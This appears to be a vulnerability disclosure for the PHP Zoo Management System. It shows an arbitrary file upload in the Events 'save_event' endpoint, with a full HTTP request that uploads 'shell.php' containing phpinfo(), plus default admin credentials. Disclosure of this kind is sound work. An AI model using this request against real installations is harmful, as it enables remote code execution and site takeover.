BUG_Author: Tmoont
Admind login account: admin@mail.com/Password@123
vendor: https://www.sourcecodester.com/php/15347/zoo-management-system-source-code-php-mysql-database.html
Vulnerability url: http://ip/ZooManagementSystem/admin/public_html/save_event
Loophole location：There is an arbitrary file upload vulnerability (RCE) in the picture upload point of the "save_event" file of the "Events" module in the background management system
Request package for file upload：
POST /ZooManagementSystem/admin/public_html/save_event HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/ZooManagementSystem/admin/public_html/save_event
Cookie: PHPSESSID=5d10vq7lgptbau7foskstiug7i
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------211023133510784
Content-Length: 851
-----------------------------211023133510784
Content-Disposition: form-data; name="event_id"
-----------------------------211023133510784
Content-Disposition: form-data; name="event_name"
1
-----------------------------211023133510784
Content-Disposition: form-data; name="event_description"
1
-----------------------------211023133510784
Content-Disposition: form-data; name="event_duration"
1
-----------------------------211023133510784
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: application/octet-stream
JFJF
<?php phpinfo();?>
-----------------------------211023133510784
Content-Disposition: form-data; name="event_start_date"
1
-----------------------------211023133510784
Content-Disposition: form-data; name="submit"
-----------------------------211023133510784--The files will be uploaded to this directory \ZooManagementSystem\img\event
We visited the directory of the file in the browser and found that the code had been executed
